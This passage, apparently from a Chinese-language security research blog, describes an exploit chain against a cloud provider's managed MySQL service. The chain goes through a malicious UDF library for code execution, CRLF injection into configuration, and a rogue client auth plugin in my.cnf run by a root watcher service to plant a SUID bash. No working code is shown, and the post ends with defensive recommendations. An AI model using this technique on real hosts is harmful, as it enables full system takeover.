提升数据库权限后,我们需要实现远程代码执行 (RCE)。为此,我们编写了一个自定义用户定义函数 (UDF) 库来运行系统命令。
通过云服务提供商的 API,向配置文件中注入 CRLF 字符串,实现了远程代码执行 (RCE):
该向量使得注入换行符和覆盖关键配置参数成为可能:
获取写入权限后,通过以下 SQL 语句将恶意 UDF 库(共享对象)写入目标目录:
我们重启了 MySQL 数据库以应用更新后的配置并初始化已注册的插件:
通过 MySQL UDF 执行 id 的结果
我们分析了活动服务列表,以寻找本地权限提升至 root 的机会。结果发现,mysql-watcher.service 以管理员权限运行,并定期启动一个 Python 脚本,该脚本通过系统客户端访问 MySQL。为了利用这一点,我们编译了另一个插件:
我们将包含恶意库(.so 文件,plugin_dir 参数)的目录路径和身份验证插件名称 default-auth=plugname 注入到 /etc/mysql/my.cnf 配置文件的 [client] 部分。下次后台 mysql-watcher.service 以 root 用户身份启动 MySQL 客户端时,上述插件将在服务器主机上执行。这将导致系统命令运行,并创建一个设置了 SUID 位的 Bash 解释器副本(/tmp/rbash),从而完成导致主机完全被控制的整个攻击链。
该云服务提供商的基础设施并非采用标准的开源解决方案,而是基于内部组件构建,这造成了相当大的攻击面。研究还发现了其他一些漏洞,但由于这些漏洞属于标准漏洞,因此未列入报告。基于研究结果,我们向该供应商提出了加强安全态势的建议。这些建议包括:隔离托管服务以消除它们之间的网络可见性;强制执行严格的 AppArmor 策略以隔离服务进程;以及增加对潜在易受攻击服务使用情况的监控。
漏洞和利用
不安全的邻居:漏洞链如何导致云基础设施中的隔离绕过
本网站使用 Akismet 来减少垃圾邮件。了解您的评论数据如何处理。
伟大的想法。巴拉莱卡版
绝妙创意。绿茶版
GReAT Ideas。由 SAS 提供支持:恶意软件归因和下一代物联网蜜罐
GReAT Ideas。由 SAS 提供支持:威胁行为者在新战线上不断扩张
GReAT Ideas。由 SAS 提供支持:威胁狩猎和新技术
出自同一作者之手
网络世界剖析:2026年全球报告
再见了,黑暗的Telegram:街区正在将地下空间挤出去
暗网就业市场内部
噪声中的信号:话题标签揭示了2025年黑客行动主义的哪些信息
2024 年的托管检测和响应
同一类别
APT41如何复活黑莲花入侵工具包,攻击中亚外交机构
“闪光洞行动”:拉撒路突破安全防线,无视控制
纸独角兽的旅程:现代仓库里的奇遇
加密货币投资浪费:BlueNoroff 的融资和就业幻影
拉撒路APT的加密货币博弈:投资者对抗零日漏洞